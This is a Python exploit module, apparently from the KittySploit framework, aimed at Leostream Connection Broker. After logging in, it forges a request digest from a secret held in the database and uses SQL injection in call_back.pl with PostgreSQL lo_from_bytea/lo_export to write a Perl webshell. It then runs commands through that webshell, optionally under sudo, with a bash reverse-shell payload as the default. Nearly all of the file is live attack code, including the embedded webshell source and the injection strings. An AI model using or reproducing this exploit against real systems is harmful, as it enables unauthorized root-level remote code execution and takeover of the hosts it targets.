Leostream post-auth SQLi lo_export webshell sudo root RCE

"""Leostream Connection Broker SQLi lo_export Perl webshell RCE."""
from __future__ import annotations
import base64
import hashlib
import re
from urllib.parse import quote, urlencode
from kittysploit import *
from lib.exploit.handler import Handler
from lib.protocols.http.http_client import Http_client

class Module(Exploit, Http_client, Handler):
    __info__ = {'name': 'Leostream post-auth SQLi lo_export webshell sudo root RCE', 'description': 'Login → call_back.pl SQLi (forged r digest) writes welcome.pl via lo_export; trigger with ?c= (optional sudo).', 'author': ['KittySploit Team'], 'platform': Platform.LINUX, 'arch': [Arch.CMD], 'payload': {'default': 'payloads/singles/cmd/unix/bash_reverse_tcp', 'platform': Platform.UNIX, 'category': PayloadCategory.CMD}, 'references': [], 'tags': ['leostream', 'sqli', 'rce', 'authenticated'], 'agent': {'risk': 'critical', 'effects': ['active_exploitation', 'remote_code_execution'], 'expected_requests': 6, 'reversible': False, 'approval_required': True, 'produces': ['rce', 'shell'], 'chain': {'suggested_followups': ['scanner/http/leostream_postauth_sqli_webshell_rce_detect']}}}
    _WEBSHELL_SRC = 'use CGI;my $c=CGI->new->param(qq{c});print qq{Content-type: text/plain\\n\\n};print qx{$c 2>&1};'
    _WEBSHELL_HEX = _WEBSHELL_SRC.encode().hex()
    _WEBSHELL_PATH = '/home/leo/app/welcome.pl'
    _TRIGGER = '/welcome.pl'
    _LOID = 99998
    _R_DIGEST_LEN = 8
    port = OptPort(443, 'Leostream web port', required=True)
    ssl = OptBool(True, 'Use HTTPS', required=False)
    username = OptString('leo', 'Web username', required=True)
    password = OptString('', 'Web password', required=True)
    digest_secret = OptString('', 'digest_secret from Leostream DB (flag table)', required=True)
    use_sudo = OptBool(True, 'Prefix command with sudo on webshell trigger', required=False)

    def _forge_r(self, action: str, uid: str, secret: str, suffix: str='1234') -> str:
        url = f'action={action}&uid={uid}&r={suffix}'
        parts = [p for p in re.split('[;&]', url) if re.match('^(mb_|action|r|[^=]*[u_]id)', p)]
        raw = hashlib.sha256(('!'.join(parts) + secret).encode()).digest()
        digest = ''.join((c for c in base64.b64encode(raw).decode() if c.isalnum() or c in '._-'))
        return digest[:self._R_DIGEST_LEN] + suffix

    def _uid_from_login(self) -> str | None:
        self.http_request('GET', '/index.pl?action=paint', session=True)
        body = urlencode({'user': str(self.username or ''), 'password': str(self.password or ''), 'submit': 'Login', 'login_type': '0'})
        resp = self.http_request('POST', '/index.pl?action=paint', data=body, headers={'Content-Type': 'application/x-www-form-urlencoded'}, session=True, allow_redirects=False)
        loc = ''
        if resp is not None:
            loc = resp.headers.get('Location', '') or ''
        m = re.search('uid=([A-Za-z0-9]+)', loc)
        if not m:
            return None
        uid = m.group(1)
        redir = loc.replace(';', '&')
        path = redir if redir.startswith('/') else '/' + redir.split('/', 3)[-1]
        if redir.startswith('http'):
            path = '/' + redir.split('/', 3)[-1]
        self.http_request('GET', path, session=True)
        return uid

    def _sqli(self, uid: str, where: str) -> tuple[int, str]:
        secret = str(self.digest_secret or '')
        r = self._forge_r('user', uid, secret)
        qs = urlencode({'action': 'user', 'term': 'a', 'uid': uid, '_where': where, 'r': r})
        resp = self.http_request('GET', f'/call_back.pl?{qs}', session=True)
        if not resp:
            return (0, 'sqli request failed')
        return (int(resp.status_code or 0), (resp.text or '')[:2000])

    def execute(self, cmd: str) -> str:
        uid = self._uid_from_login()
        if not uid:
            return 'login failed — check credentials'
        if not str(self.digest_secret or '').strip():
            return 'digest_secret required (DB flag digest_secret)'
        w1 = f"lo_from_bytea({self._LOID},decode('{self._WEBSHELL_HEX}','hex')) IS NOT NULL"
        c1, _ = self._sqli(uid, w1)
        w2 = f"lo_export({self._LOID},'{self._WEBSHELL_PATH}') IS NOT NULL"
        c2, _ = self._sqli(uid, w2)
        if c1 >= 400 or c2 >= 400:
            return f'webshell write failed (HTTP {c1}/{c2})'
        full = f'sudo {cmd}' if bool(self.use_sudo) else cmd
        run = self.http_request('GET', f'{self._TRIGGER}?c={quote(full)}', session=True)
        return (run.text or '')[:8000] if run else 'webshell trigger failed'

    def check(self):
        resp = self.http_request('GET', '/index.pl?action=paint')
        if resp and int(resp.status_code or 0) == 200:
            return {'vulnerable': True, 'reason': 'Leostream login reachable', 'confidence': 'low'}
        return {'vulnerable': False, 'reason': 'Web UI not reachable', 'confidence': 'low'}

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error('Set payload')
            return False
        if not str(self.password or '').strip():
            print_error('Set password')
            return False
        chk = self.check()
        if not chk.get('vulnerable'):
            print_error(chk.get('reason', 'Target not ready'))
            self.not_vulnerable()
            return False
        print_status('SQLi lo_export + welcome.pl')
        out = self.execute(shell)
        if out and 'failed' not in out.lower()[:40]:
            print_success('Output:')
            print_info(out[:8000])
            self.vulnerable()
            return bool(str(self.shell_from_payload() or '').strip())
        print_error(out or 'Exploit failed')
        self.not_vulnerable()
        return False